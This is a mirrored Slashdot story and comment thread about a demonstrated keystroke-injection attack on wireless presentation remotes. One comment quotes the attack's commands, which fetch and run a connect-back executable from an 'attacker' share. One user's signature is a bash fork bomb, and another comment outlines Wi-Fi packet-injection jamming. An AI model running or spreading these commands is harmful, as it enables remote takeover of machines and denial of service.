Slashdot Mirror

← Back to Stories (view on slashdot.org)

Wireless Presenters Attacked Using an Arduino

Posted by Soulskill on from the watch-out-steve dept.

An anonymous reader writes "This week Dutch security researcher Niels Teusink described a method of attacking wireless presenter devices at an Amsterdam security conference. He had a demo showing how it is possible to use an Arduino and Metasploit to get remote code execution by sending arbitrary keystrokes to the presenter dongle. He has now released the code and made a blog post explaining how it all works. Better watch out the next time you're giving a presentation using one of these devices!"

69 comments

  1. Microcontroller, not Arduino by Anonymous Coward · · Score: 0

    You wouldn't say, "I attacked that system using a Dell" -- you'd say "I attacked that system using a computer"

    "Wireless Presenters Attacked using Microcontrollers" is a much better title...

    Fanboi-ism pisses me off, and Arduinos are getting almost as bad as Apple products in that sense

    1. Re:Microcontroller, not Arduino by marcansoft · · Score: 4, Informative

      Strictly speaking, Arduinos aren't microcontrollers. They're a popular hobbyist embedded platform based around the Atmel AVR microcontroller family. Much like Dells are a particular brand of computer based around x86 architecture microprocessors.

      But yes, "Arduino this", "Arduino that" gets tiring after a while. Arduinos have a huge following, but there are zillions of alternatives of all shapes and sizes (many of them better in many ways). There's nothing Arduino-specific about this hack.

    2. Re:Microcontroller, not Arduino by gyrogeerloose · · Score: 1

      You wouldn't say, "I attacked that system using a Dell" -- you'd say "I attacked that system using a computer"

      You may be right, but if you'd actually read TFA, you would know that an Arduino was used in the exploit. But, hey, never let the facts get in the way of a good rant.

      --
      This ain't rocket surgery.
    3. Re:Microcontroller, not Arduino by iksbob · · Score: 3, Informative

      While strictly true (once you attach a microcontroller chip to a PCB board, it's no longer just a microcontroller), there isn't much to an Arduino board aside from the controller. Most include some basic power management and a USB-to-serial chip for programming and comms, but those are just common features rather than requirements to be considered an Arduino. IMO, what defines an Arduino is its software package... Or is that what you were getting at? ^_^

    4. Re:Microcontroller, not Arduino by marcansoft · · Score: 2, Informative

      Well, technically, Arduinos are defined as whatever Smart Projects labels an Arduino (it's their trademark). However, yeah, Arduinos (in common usage) are defined more by their software rather than their hardware(in particular, a compatible bootloader that works with the Arduino development environment), because you don't really need much hardware to make a modern microcontroller run.

      Which really just goes on to prove that there isn't anything special about Arduino at all. It's really just a bog-standard simple microcontroller breakout board (power regulator, serial I/O either via RS232 or USB, and pin headers for the micro pins) and a standard bootloader and development environment, using a slightly cooked version of C/C++ for programming (they just pre-include a header and tack on a standard main() before feeding it to GCC). Everything else is just positive feedback: Arduino is popular, so people use Arduino, so there's a large community of projects and examples and prewritten code, so Arduino becomes more popular.

      I started off with microcontrollers using a crappy development board for PIC micros quite a few years back, and quickly outgrew it and have never really bothered with dev boards ever since. There isn't much of a point when you literally just feed the micro power and ground and it runs. I've built projects where the number of support components for the micro was literally zero (one, if you count the programming connector).

    5. Re:Microcontroller, not Arduino by drinkypoo · · Score: 2, Informative

      But yes, "Arduino this", "Arduino that" gets tiring after a while. Arduinos have a huge following, but there are zillions of alternatives of all shapes and sizes (many of them better in many ways). There's nothing Arduino-specific about this hack.

      What's cool about Arduino is how it reduces development time through the use of readily available shields. So if he used any of them then it's worth mentioning and not if not (I skimmed but did not actually read the article, I didn't notice ANY of the Arduino details, but I did get momentarily flustered about the idea of owning a USBee.)

      Speaking of cool stuff I could own, can anyone recommend a cheap USB JTAG with Windows and Linux support? I would accept RS232 as a second option. LPT is not eligible.

      --
      "You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
    6. Re:Microcontroller, not Arduino by marcansoft · · Score: 1

      No shields, which is why it's rather pointless. He just used the SPI interface pins connected to one of these. He even had to perform voltage level conversion.

      To answer your question, you can just get any bitbanging USB JTAG interface based on the FT2232D or FT2232H chip. I own this one, which also happens to include a USB to RS232 converter channel (since the FT2232 has two comm channels). FT2232D versions are more common but are only USB full-speed. FT2232H versions can bitbang faster, as they USB High-Speed peripherals. You can use these with OpenOCD, which should work on Windows and Linux (and OSX and other OSes).

    7. Re:Microcontroller, not Arduino by drinkypoo · · Score: 1

      Yeah, I'll just buy that one when the time comes. Right now I'm "sitting at" this Gateway LT3201u 11" 'netbook' which has a chipset which will work with coreboot v2. So I'm thinking that I'm going to need to give it some love because Gateway refuses to kick out a BIOS which will enable AMD-V. Besides, the BIOS POST is a huge part of the boot time. Die, Gateway, Die.

      --
      "You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
    8. Re:Microcontroller, not Arduino by kaizokuace · · Score: 2, Interesting

      there is nothing special with the Arduino when you look at it from a technical standpoint. But it all changes when you look at it from a human stand point. Since the release of the Arduino platform I have seen so many more people that would probably never picked up a soldering iron in their lives make cool stuff. The platform itself inspired many, which is much more important than it being some sort of special hardware.

      --
      Balderdash!
    9. Re:Microcontroller, not Arduino by Anonymous Coward · · Score: 0

      While we're being pedantic; a "wireless presenter" is not a gadget, it's a man in a dinner jacket and no trousers reading the news in received pronunciation. God Save the Queen!

    10. Re:Microcontroller, not Arduino by Anonymous Coward · · Score: 0

      The, Gateway, The? But that makes no sense!

    11. Re:Microcontroller, not Arduino by Mr.+Freeman · · Score: 1

      "You wouldn't say, "I attacked that system using a Dell""

      You would if you used a Dell computer. This guy DID use an Arduino, so it isn't incorrect or "fanboy-ish" to say "Arduino".

      There's also a second issue here. If you say "I used a computer to do such and such" then it's understood that you were using any hardware running windows, apple, or linux operating systems. There's really only three options. Not so with microcontrollers. There's hundreds of microcontrollers and they're all significantly different from one to another and attempting to replicate the results on a different microcontroller requires a fair bit of work. It's extremely helpful to say "I did this with an Arduino" or "I did this with a PIC model number XYZ", etc.

      --
      -1 disagree is not a modifier for a reason. -1 troll, flaimbait, redundant, overrated are NOT acceptable substitutes.
    12. Re:Microcontroller, not Arduino by cduffy · · Score: 1

      You wouldn't say, "I attacked that system using a Dell" -- you'd say "I attacked that system using a computer"

      You may be right, but if you'd actually read TFA, you would know that an Arduino was used in the exploit.

      He isn't denying that an Arduino was used -- but rather that it's relevant data. You might read the text you're quoting for intended meaning, perhaps?

    13. Re:Microcontroller, not Arduino by cduffy · · Score: 1

      You would if you used a Dell computer.

      Only if I were using some capability unavailable on non-Dell computers. Otherwise, why bother to call them out?

      There's hundreds of microcontrollers and they're all significantly different from one to another and attempting to replicate the results on a different microcontroller requires a fair bit of work.

      That matters a great deal if you're sharing your implementation with anyone who might want to reproduce your results. On the other hand, if you're not sharing your implementation with anyone, and there's nothing that makes it conceptually tied to the same platform, why consider the platform of choice a pertinent enough detail to put it in the summary?

  2. Huh huh huh by Anonymous Coward · · Score: 2, Funny

    You said "dongle".

  3. hmmm.... by girlintraining · · Score: 5, Funny

    Useful for:

    * Corporate espionage
    * Screwing with professors at school
    * Pissing off Steve Jobs.

    We all know which one's most likely.

    --
    #fuckbeta #iamslashdot #dicemustdie
    1. Re:hmmm.... by N!k0N · · Score: 1

      Definitely screwing w/ professors...

    2. Re:hmmm.... by yincrash · · Score: 1

      well, because the devices send any keyboard command, you can take over the machine and do anything. however, if you just want to wreck havoc with powerpoint, then you could probably just bring your own keyboard presenter and it will probably work the same way. like someone using a remote control on your tv

    3. Re:hmmm.... by Dragoniz3r · · Score: 4, Funny

      I guess we all know what Gizmodo will be doing at the next major conference.

    4. Re:hmmm.... by Kemanorel · · Score: 1

      Most presenting devices have at least rudimentary pairing between remote and dongle. At least I know that the Keyspan remote I've been using for the last 5 or more years works that way. Just bringing another remote of the same kind would likely do nothing.

      --
      Mess not in the affairs of dragons, for you are crunchy and good with ketchup.
    5. Re:hmmm.... by antifoidulus · · Score: 2, Funny

      Wait, you mean Apple's newest product ISNT "iGoatse"? Damn, and here I had my credit card out ready to go.

      --
      Monstar L
    6. Re:hmmm.... by noidentity · · Score: 1

      Nice try, but Steve Jobs doesn't need any remote controls for his presentations. He has a special receiver that he communicates with via his RDF.

    7. Re:hmmm.... by dkf · · Score: 1

      Most presenting devices have at least rudimentary pairing between remote and dongle.

      Yes, but a lot of projectors also have remote controls, and they're usually not paired. Switching things off mid-presentation is deeply annoying to the presenter.

      (I say this because of a presentation I once saw a friend do where his remote would (IIRC) bring up the configuration menu every time he switched page. Funny, but it forced him to switch to manual control.)

      --
      "Little does he know, but there is no 'I' in 'Idiot'!"
  4. Hacking by JustNiz · · Score: 0, Flamebait

    There comes a point at which some exploits are so lame that the term hacking shouldn't be used. The most you could hope to achieve with this 'exploit' is to just be a bloody nuisance.

    1. Re:Hacking by Anonymous Coward · · Score: 3, Informative

      Did you rta? He demoed getting a Metasploit payload on the system

    2. Re:Hacking by dandart · · Score: 1

      No, should be cracking more than anything.

    3. Re:Hacking by Anonymous Coward · · Score: 0

      Hacking involves creating the hack, and all specifics of the exploit yourself.

      Copying code off Metasploit and dropping it on an arduino is akin to an IRC script kiddy copypastaing a script and using it to spam the living fuck out of the inhabitants.

      congratulations, you made rank of script kiddy.

    4. Re:Hacking by Procasinator · · Score: 1

      By your BS definition.

      That's like saying cooking is only cooking when you produce all ingredients from the seed, etc.

  5. Harmless by dandart · · Score: 0

    "LULZ OWNED" is all we'd see, and we'd laugh, and life would go on.

    1. Re:Harmless by N!k0N · · Score: 2, Informative

      dunno about that -- from the article (yes, i RTFA in this case) it seems you can send any keystrokes you want... so as long as the system accepted the commands you were giving it (presumably anything that doesn't require user elevation) you could make it do whatever you wanted.

    2. Re:Harmless by dandart · · Score: 1

      Yeah, but who would? They're just bored kids.

    3. Re:Harmless by Anonymous Coward · · Score: 0

      You have no imagination. Get someone from a prospective supplier to hold a presentation of their offering at your company (or theirs), backdoor their computer through the wireless presenter and have a look around to see what their price limits are and if they're hiding flaws from you. Heck, you could do this from the parking lot when they're presenting something to their bosses.

      IMHO wireless interfaces are a no-go in any corporate environment.

    4. Re:Harmless by Anonymous Coward · · Score: 0

      Right, if you were protected by using a standard user account and were also using something like applocker to prevent code that isn't whitelisted from running they wouldn't be able to do much. Perhaps they could delete the user's files. But not much else.

    5. Re:Harmless by Sulphur · · Score: 1

      Arduiwenie found murdered in back alley.

      --

      Preparing to delete all files. Press any key to continue.

  6. This is why standard protocols help by Anonymous Coward · · Score: 5, Insightful

    While Bluetooth certainly has its issues and took a while to address all the early security concerns, I really wish wireless device creators would stop rolling their own protocols. With limited engineering, they are almost certainly guaranteed to do it badly. As of Bluetooth 2.1, all communication aside from service discovery is encrypted. There are still pairing exploits and implementation defects, but at least they have the core idea right. In order to monkey with a Bluetooth presentation remote, you would have to (a) discover the shared key during the speakers presentation, (b) convince the presenter to redo pairing prior to speaking and somehow get them to pair with your evil device instead (has a Bluetooth man-in-the-middle attack been tried yet?), or (c) give up and settle for just jamming the communication, causing a whopping 30 seconds of confusion. If you design a wireless protocol now without over-the-air encryption, you are doing it wrong.

    1. Re:This is why standard protocols help by mc6809e · · Score: 4, Insightful

      While Bluetooth certainly has its issues and took a while to address all the early security concerns, I really wish wireless device creators would stop rolling their own protocols.

      Yeah, but then the maker would have to licence the technology and that adds cost. The chip used in the device doesn't come with Bluetooth. It's a very simple chip.

      I suspect that the problem here is that the engineer just didn't think about security.

    2. Re:This is why standard protocols help by Anonymous Coward · · Score: 0

      Bluetooth is expensive. Adding even $1 to the cost of one of these things significantly effects its price and profitability. I'm not saying it's a bad idea, but there's definitely a market for these cheaper ones.

      dom

    3. Re:This is why standard protocols help by rawler · · Score: 2, Informative

      AFAIK, Bluetooth is License-free. That is, the protocol, and all related specifications are free for implementation.

      Of course you may still need to pay a little for a chip that implements it, but the same thing goes for any wireless chip, and I doubt Bluetooth is THAT much more expensive?

    4. Re:This is why standard protocols help by kangsterizer · · Score: 1

      Most of these devices don't use frequency hopping (FHSS) or even DSSS or any kind of interference resistance algorithm. Also, they run on 2.4ghz band because it's license free.
      All you need is a dumb laptop running Linux, or even any other OS, with a wifi card.
      All you have to do is set the card into raw mode (on Linux, usually setting monitor mode) to be able to inject packet.
      Once done, inject packets as fast as you can on the same frequency. The packet contents doesn't matter at all. And done, jammed.

      Works well against my Logitech G7, my Spektrum DX7 and a few other 2.4ghz "stupid" devices.

      Of course, that's a DoS, and it's dumb, no exploits here. But the point is Bluetooth resists it. Still, I've a feeling such DoS will get more widespread, especially during demos. Jamming everyone's wifi with your own card is harder but possible, especially if you got a powerfull card, say 1W and others are running at 100mW tops.

    5. Re:This is why standard protocols help by DeadCatX2 · · Score: 4, Informative

      Whereas your average Arduino board is about $20-30 or so, an Arduino board with Bluetooth costs about $150.

      http://www.sparkfun.com/commerce/tutorial_info.php?tutorials_id=148

      Yes, Bluetooth is that expensive. The ArduinoBT board uses an off-the-shelf BlueGiga WT11. Newark sells those for about $60.

      http://www.newark.com/bluegiga/wt11-a-ai/class-1-bluetooth-2-0-edr-module/dp/15P4005

      Mind you, this is a Class 1 (i.e. long range) transmitter, using BT 2.0 and not BT 2.1. Compare this to a standard RF transmitter and receiver, which is a couple bucks per chip...

      --
      :(){ :|:& };:
    6. Re:This is why standard protocols help by drinkypoo · · Score: 2, Informative

      Yeah, but then the maker would have to licence the technology and that adds cost. The chip used in the device doesn't come with Bluetooth. It's a very simple chip.

      If there is demand, Wal-Mart will be happy to sell an unlicensed Bluetooth transmitter like the ones you can buy from DealExtreme, except in some packaging more elaborate than that usually used for crack rocks (i.e. a tiny ziploc.) That will help keep the costs down. :)

      Of course, if all us nerds just tell all our non-nerd friends to stop buying the non-Bluetooth versions because they're broadcasting their passwords to the world, then a percentage of them will listen, and we can help stick a nail in the coffin of the various nonstandard devices. As much as I hate to see a proprietary, and possibly expensively licensed (who can say? it's not like they publish a fee schedule) protocol pushed all over everything, Bluetooth is the best thing around today.

      --
      "You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
    7. Re:This is why standard protocols help by flux · · Score: 2, Informative

      Hello? You can buy Bluetooth-USB-modules for as little as $3 from Amazon. And that is the price for a single item sold to a consumer. The prices of development-kit-level items is hardly comparable to the actual price to implement Bluetooth in a mass-produced gizmo.

      I wonder how come you didn't find that the 433MHz wireless modems cost $40 at Sparkfun as well..

      I believe a large reason, if not the largest, for not using Bluetooth in simple wireless gadgets is the amount of electricity it takes compared to a simpler custom-protocol device on the 433MHz band.

    8. Re:This is why standard protocols help by aztektum · · Score: 1

      I suspect that the problem here is that the bean counters didn't care about security.

      That's usually been my experience.

      --
      :: aztek ::
      No sig for you!!
    9. Re:This is why standard protocols help by DeadCatX2 · · Score: 3, Informative

      Do you mean the Bluetooth USB modules used to add Bluetooth support to a PC that doesn't have it? Unfortunately, an embedded system doesn't have a desktop-class processor to run the Bluetooth stack.

      Oh, and those el-cheap-o Bluetooth modules you're suggesting are probably very out-dated, which is why they're so cheap. That $3 module probably cost more when it was less than a year old and they weren't trying to dump the inventory that they can't sell at a higher price...

      --
      :(){ :|:& };:
    10. Re:This is why standard protocols help by dkf · · Score: 1

      Oh, and those el-cheap-o Bluetooth modules you're suggesting are probably very out-dated, which is why they're so cheap. That $3 module probably cost more when it was less than a year old and they weren't trying to dump the inventory that they can't sell at a higher price...

      But for keyboard simulation, you don't need a fancy high-speed module. You're talking a few bytes per second. A cheap module should be enough. Hardware that can do anything is more expensive than hardware which is more specialized to its task; flexibility costs.

      --
      "Little does he know, but there is no 'I' in 'Idiot'!"
    11. Re:This is why standard protocols help by mrmeval · · Score: 1

      The Arduino has 16k of flash memory and 2k of ram. It has exactly one hardware uart though other pins can act as software serial devices. It cannot act as a USB master like a PC without some help though it can act as a USB peripheral i.e. a usb to serial device. I may be able to hack apart that bluetooth dongle and get access to the bluetooth chip but I suspect the USB and bluetooth are integrated in one ASIC which won't allow that.

      --
      I'd go on a Vegan diet but the delivery time from Vega is too long. --brownkitty
    12. Re:This is why standard protocols help by AaronLawrence · · Score: 1

      Bluetooth is very complicated compared to other options, which content themselves basically with providing a serial port. This complexity and licensing costs add significantly to devices.

      --
      For every expert, there is an equal and opposite expert. - Arthur C. Clarke
    13. Re:This is why standard protocols help by adolf · · Score: 1

      Ah, yes. The old "it cost more, therefore it must be better/newer/faster" generalization.

      So, go have a look at what's actually available. You'll see that while the prices do vary wildly, there is very little variation in terms of the actual products (aside from packaging) other than a handful of products that appear to actually be independently engineered (which is not necessarily a good thing).

      Just to pick one particular product: B&H sells it for $11.95. Computer Geeks has the same one for $7.99. Our hack-friendly friends at Sparkfun sell their copy for $10.99.

      Meanwhile, buy.com has the same thing for $3.37 plus shipping. Deal Extreme is even cheaper at $1.85 including shipping, but you have to wait for it to cross the Pacific.

      So...uh. Should I buy the expensive one from B&H, or the cheap one from Deal Extreme? B&H will certainly handle returns better in case the thing breaks or whatever, but for the price I can buy a small handful of these widgets from DX and spread out the MTBF myself.

      (The rest of your post is spot-on.)

      --
      Kid-proof tablet..
    14. Re:This is why standard protocols help by g253 · · Score: 1

      Or the engineer did think about security, but the managers & accountants said no ;-)

  7. Better attack by FooAtWFU · · Score: 3, Funny

    You could implement a better attack by just throwing Arduinos at the presenter.

    --
    The World Wide Web is dying. Soon, we shall have only the Internet.
    1. Re:Better attack by pjt33 · · Score: 1

      I read the headline and thought that was what it was about.

    2. Re:Better attack by L4t3r4lu5 · · Score: 2, Informative

      The user is always the weakest link in any secure system.

      --
      Finally had enough. Come see us over at https://soylentnews.org/
  8. Heaven forbid... by Trip6 · · Score: 1

    ...the presenters can't advance their PowerPoint slides...

    --
    I hate being bipolar; it's awesome!
    1. Re:Heaven forbid... by Anonymous Coward · · Score: 0

      If the audience is paying to be there, then yes, forbid it.

  9. TV / VCR Remote in class by Anonymous Coward · · Score: 0

    This reminds me of the 80s where kids would take a remote control from home and when the teacher was showing some instructional video tape, change the channel on the TV or mute it, with said teacher trying to figure out what was wrong.

    You bring a 'compatible' remote, you control the device the receiver is attached to. End of story.

    1. Re:TV / VCR Remote in class by Anonymous Coward · · Score: 0

      (See TV-b-gone for the modern version of the remote hack)

      One interesting aspect about the presenter hack is that the device itself just sends a few selected keystrokes (the ones used to control presentations, i.e. page-up, page-down, etc.), but the receiver will actually accept all keys, not just the ones on the remote. If this were just about messing with someone's presentation, it would be embarrassing but harmless. With full keyboard functionality you can be much more malicious: Open a console window, dump a script, clean up, all in a split second: Computers can type very fast...

    2. Re:TV / VCR Remote in class by fuzzyfuzzyfungus · · Score: 3, Insightful

      In many of these cases the little proprietary receiver dongle accepts arbitrary keystrokes, not just the ones that the remote has buttons for, because it is exactly the same item as the one being sold(under that brand, or one or more others) in a package with a wireless keyboard and often a mouse as well. Some kits come with everything in one box, receiver, keyboard, mouse, little powerpoint clicker widget.

      In other cases, I imagine, the engineer in charge of knocking together the receiver unit (correctly) realized that implementing a general-purpose system for taking arbitrary keycodes encapsulated in whatever the proprietary RF protocol is and dumping them to the host system just like any USB HID device wouldn't be much harder than implementing just the 6 keycodes found on revision 1 of Product X and would save him from having to do it again when revision 1.1 adds another couple of buttons, and revision 2.0 has to have a special button for the ribbon interface, or whatever it happens to be.

    3. Re:TV / VCR Remote in class by Anonymous Coward · · Score: 0

      From an engineer's point of view, it's an obvious choice. It will still catch a lot of people off guard. But of course so will the complete lack of encryption. Good job, Logitech. $100 for a what amounts to little more than a TV remote.

    4. Re:TV / VCR Remote in class by fuzzyfuzzyfungus · · Score: 1

      The one really annoying thing, with some of the especially cheap-seats implementations, is that the RF protocol is so insecure that multiple units from the same manufacturer in moderate proximity(within a couple rooms of each other) will start accidentally dropping input into the wrong receiver from time to time. One second, you are fine. The next moment, something goes wrong and you are having sentences from the email the guy two doors down is writing dumped into your presentation.

      Until somebody puts together a kit, on the difficultly level of the TV-B-Gone, the security implications really aren't that exciting, for the sorts of environments that allow you to plug random wireless USB shit into their computers, compared to the risks posed by other common threats(once every malicious kid and disgruntled employee with 30 bucks can press a "drop prebuilt 'all kinds of mixed nasties' payload" button and hit every system with an active receiver within 100 meters, things get more exciting). The fact that some of these things can't even tolerate multiple users in the same wing of a building, though, is both pathetic and inconvenient.

  10. RTFA? by WD · · Score: 4, Informative

    It's clear that you and the moderators haven't bothered to actually read the article. The research and tools used for the attack were non-trivial, and the impact is remote code execution.

    1. Re:RTFA? by Anonymous Coward · · Score: 1, Informative

      Here's the super leet exploit from the article:

      # [Win+R]
      # net use X: http://attacker/webdavshare
      # X:\VNCconnectback.exe
      # [enter]

      Attacker does this by sending keycode signals over RF, pretending to be the presenter's wireless remote. The hard part was reverse engineering presenter commands (he finds that replaying them works), and sniffing through channels to find the channel the presenter is using.

      I'm in full agreement with the GP.

    2. Re:RTFA? by Procasinator · · Score: 1

      And how is this lame, or only a nuisance?

      The attacker can get full control over the remote computer.

      The exploit code is the least significant part of this. Any exploit code could be used. If the user needed to escalate privileges for instance then another vulnerability might be attacked. But who cares: the point is the presenter is vulnerable, and critically so. What has leet code got do with anything?

  11. In summary by damn_registrars · · Score: 1

    The blog entry commented especially that the hack is possible in part because the wireless devices use a one-size-fits-all protocol; hence the presentation remotes are capable of communicating keyboard and mouse commands even though they are really neither a keyboard nor a mouse.

    In other words, our desire for things cheap and shiny has made us vulnerable yet again. Its the lead-paint-on-toys problem, but this time the victims are not children.

    --
    Damn_registrars has no butt-hole. Damn_registrars has no use for a butt-hole.
    1. Re:In summary by fuzzyfuzzyfungus · · Score: 2, Insightful

      I would agree that the desire for "cheap" is arguably behind this problem; but I would disagree about "shiny". The problem isn't that the protocol is general purpose(particularly in those cases where the receiver was sold in a set that contained a mouse and/or keyboard in addition to the little PPT remote...) but that absolutely no useful effort was made to apply what we already know about authentication and encryption. For just slightly more, you could just have a bluetooth device that(while certainly not free of security issues throughout its history) at least takes security into account, and isn't some poor bastard who knows very little about crypto reinventing the wheel at the last second.

    2. Re:In summary by Vellmont · · Score: 1


      In other words, our desire for things cheap and shiny has made us vulnerable yet again. Its the lead-paint-on-toys problem, but this time the victims are not children.

      Who are the victims? People giving presentations? And they're victims to people being jackasses?

      Sorry, I just don't see that as comparable to children (or anyone) being poisoned by lead. Security is always about risk. There's a million ways to be a dumb ass during a presentation, be it the tv b gone or something about equally as childish but low-tech as a whoopee cushion.

      The exploit is interesting, and a good hack. It's not particularly a large problem that ranks up their as one of the security problems of our times however. For the amount of work required to build one of these things and the minor amount of annoyance possible from it, I find it hard to blame the designers for not making this more secure.

      --
      AccountKiller
    3. Re:In summary by moortak · · Score: 1

      If it just allowed minor presentation interrupting issues it wouldn't even be all that notable of an event. The catch is that it allows remote code execution. That is a little bigger than a whoopee cushion.

      --
      Xavier Rabourdin for president 2012
  12. If Arduinos are outlawed by nurb432 · · Score: 1

    Then only outlaws.. or something like that..

    --
    ---- Booth was a patriot ----
  13. Real men use ARM microcontrollers by KickAssTunes · · Score: 1

    Yeah, no big deal that some one used an AVR or PIC microcontroller to do something.

    You need to put away your toys and be a man by stepping up to an ARM microcontroller.